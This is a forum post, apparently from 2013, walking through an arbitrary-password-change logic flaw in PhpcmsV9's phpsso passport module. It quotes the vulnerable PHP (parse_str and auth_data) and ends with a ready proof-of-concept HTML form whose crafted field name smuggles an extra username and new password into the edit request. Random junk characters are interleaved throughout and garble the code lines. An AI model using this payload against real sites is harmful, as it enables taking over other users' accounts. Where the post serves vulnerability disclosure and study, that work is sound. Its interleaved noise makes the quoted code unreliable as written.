找回密码
 立即注册
查看: 2831|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:
7 f+ F. z0 y1 l+ P4 {
! x7 g$ c! ~+ |/ n/ F/ T$ S1 b( ]% e7 h; r
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);  n1 f1 c$ C7 p& {$ @9 s
/ f# z, z% c" d& X3 d5 h8 T' F
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
' `8 x$ {& }& q+ Y$ d9 R5 D4 J: U5 I2 w+ Q
我把它留给了你们。
* |* J8 ~' u8 Q1 o; n6 O. f不知道你们发现了它没有。
) S8 C. r0 l, j  S5 Y
7 [3 `+ N7 D3 s7 M, t我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。7 i, w6 V$ v" i( \  V
; W% K( O0 J. Y. m" h& t2 x
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
' L9 o& e( u/ g. ~' L# j5 W  b" B, t$ u' x3 E* V( n/ l, C
也就是
' e! L9 _0 k' ]9 J
5 o9 \; ^5 ], R8 {6 s( {username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。( p9 Y) w) D2 B! ~  |5 t

' d0 K6 `4 w8 Y要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
* u$ f3 B& r; H) _2 B6 T3 v6 _3 f6 l% w
# L% F! [- B6 t2 O
其实我们有这样的机会,看看代码,如下:& ?4 `% X: K- L, Y

2 ?& W" @0 K5 f& ^
8 v/ F( p2 c  |) ]public function auth_data($data) {
5 Y) ]3 D3 o, R' C8 D, ~                $s = $sep = '';
2 @5 a/ J8 ^# h$ n8 e                foreach($data as $k => $v) {& |3 o& `* W, B+ P: B+ J( K
                        if(is_array($v)) {
% }' B$ i! J0 i- Q; ^                                $s2 = $sep2 = '';4 L4 k9 A6 W0 X+ N) h
                                foreach($v as $k2 => $v2) {
' [' y1 t3 K/ K' H+ F1 `4 V; y) C8 c                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);5 V7 u: g7 Z( Q! w
                                        $sep2 = '&';
* {' u4 Y* S7 `7 e8 o7 a# T2 @. d  ?                                }
3 W* v; k" Z9 w                                $s .= $sep.$s2;0 n: |1 q3 f0 F. m
                        } else {" `$ S5 ~* B, N* V# w. Q5 w( |
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);. X9 H+ E+ H" c% c5 H* K
                        }9 s  E  n: M9 u# w
                        $sep = '&';
+ T0 R3 x+ a( h8 D4 a2 R3 Y                }
0 C/ v4 M" l- i% ^- s/ I
) k  g( Z5 j! ~                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 X; {" T" v; i7 r, W( S$ Q. ?                return $auth_s;3 m- g0 q, k2 S5 w* @
        }5 H9 J" [  P2 T8 v
  L8 O3 K$ M' K
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。+ Y  A0 A+ W+ q6 a: b
% Y  O7 I7 v7 }
举个例子; `- R$ [: e+ z! |) u5 s! L/ T
, U1 K/ {) u2 J: l) Z  n
$a[aaa=a&bbb] = 'a';9 ]6 U' S: y( W0 A2 z5 Y' ^. I2 ~: r

, g2 D  \6 `. z3 m会变成aaa=a&bbb=a
$ G! f& R0 h3 K  e6 C6 d! m8 z! ]; u8 c+ U2 e/ d; N+ v
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。1 H* s- P; f$ _* r7 n0 q
' b$ {" b& a% q0 G
这个时候,我们可以再去看一个函数。
/ ]8 S$ L' T1 Q; A" G$ F7 L
/ B! v7 ~; H7 {' F& X# c就在这个文件内:
2 S' n; p% u0 K6 J
' r% d( F8 F1 i! T, h# T, t1 z
$ ~  y# X! \% ?* z, p+ Qpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {' a( H  M  g+ [. {( G) v; F
                if($email && !$this->_is_email($email)) {
' w' w  j, g1 T1 y# }6 O                        return -4;% `( `9 Z& R8 H3 k& ?  P
                }: V& o; u5 q  V- @* J
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));6 Y+ i; X6 P5 p) ]) F. b  ]2 b
        }
) @! I6 J! Q0 W; _% l+ {" f" d( Y3 [  O4 A& H7 s
这是向通行证发了这样一个请求。
9 T. e) M$ L0 b6 n, {0 o+ E: J( I6 d! b( A  L7 |
我们再跟到通信证代码里去看看,就会有所发现。, W, M0 X4 l- |
  Q& \. f2 N( ]+ f

1 v3 Y- q3 |8 ?. O0 l( q2 a) u; apublic function edit() {
, B$ I, s9 t$ f" m6 t, B5 ]; T//能省就省,太长了不是吗?
. P/ L3 u3 Q1 s& `9 j  ~: m5 t3 U3 T- S; F) J
if($this->username) {: Q7 k  T) Z, p6 R
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
& [) V1 x7 K/ P2 f8 h& P- y+ x" w                                $res = $this->db->update($data, array('username'=>$this->username));- [0 A/ c4 H' e) O8 T
                        } else {
+ p. e/ H4 _6 `) m                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
; o8 g7 o3 D: C" P6 y) \                                $res = $this->db->update($data, array('uid'=>$this->uid));
! A" F; }/ g& \) \0 @                        }( S2 |3 n. M0 s# J2 s3 Q3 {$ V) U

1 {0 f& s  w( l# A, X7 [好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:8 e9 K- L3 l( @  h* v% F

3 k4 M! @$ R7 \% R/ Apublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
1 T; T; q! e2 q+ g2 K
) u" |0 Q7 k& `* Y9 r很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。' K  B5 \9 w+ N- |# E& K

% s! t1 q2 ~% _8 W9 M- l( R8 D. ?/ f我当然找到了:
* T  p( ~+ }2 S& aphpcms9/phpcms/modules/member/index.php' p) R! r+ F% n

+ D& f/ K" ~: {2 C# I5 u% R6 J$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);+ N, G) d* P4 N2 p( \- l6 Q2 x
. B2 Z2 B1 E. x7 N5 m+ h
然后就没有然后了。
0 O6 n0 Z  J1 g) e1 w' s
$ H( i: T6 \" M' o3 p% ^& D<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">1 m  |- t% L) w( w! O- m5 Z
                                <table width="100%" cellspacing="0" class="table_form">
0 `- m$ m# @# j8 B2 x                                        <tr>. x: I. N: x. m
                                                <th width="80">邮箱:</th>        
0 p  V* c- W+ _( d: B9 T                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>* P0 B! L7 [; u6 Y" ]6 M7 P
                                        </tr>& |7 |# z7 V' U4 [
                                        <tr>! v7 f/ ]% a9 }" o
                                                <th width="80">原密码:</th>        
, [! @  `- ]2 o( s, o2 S! W- F# ]                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
+ |) a7 L( d2 A; c9 a& H                                        </tr>
+ d. F8 b( J7 m                                        <tr>* [) x% i, |) E9 U" ~/ A
                                                <th>新密码:</th>" k+ K9 w9 A' T- K. c/ e1 z0 M
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
5 @: T5 T3 M# a9 u# Y* y2 Q0 Q                                        </tr>
' p/ ~0 h3 w  E7 C/ Z. r                                        <th></th>
$ Y3 O  w4 V; p/ d1 j$ c                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>! f% |; s: }( I! ^# p
                                        </tr>
. M6 Q  c) v  {                                </table>
* t  [4 L, i; F! T; s6 ^. t% w( x" ]
0 a- u4 n& ]" p/ r                               
0 V$ D! [$ Q2 Y* k0 {* x! c  F                        </form>$ p; U9 Y" Z$ _! `3 [; a0 b2 a  ~. H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表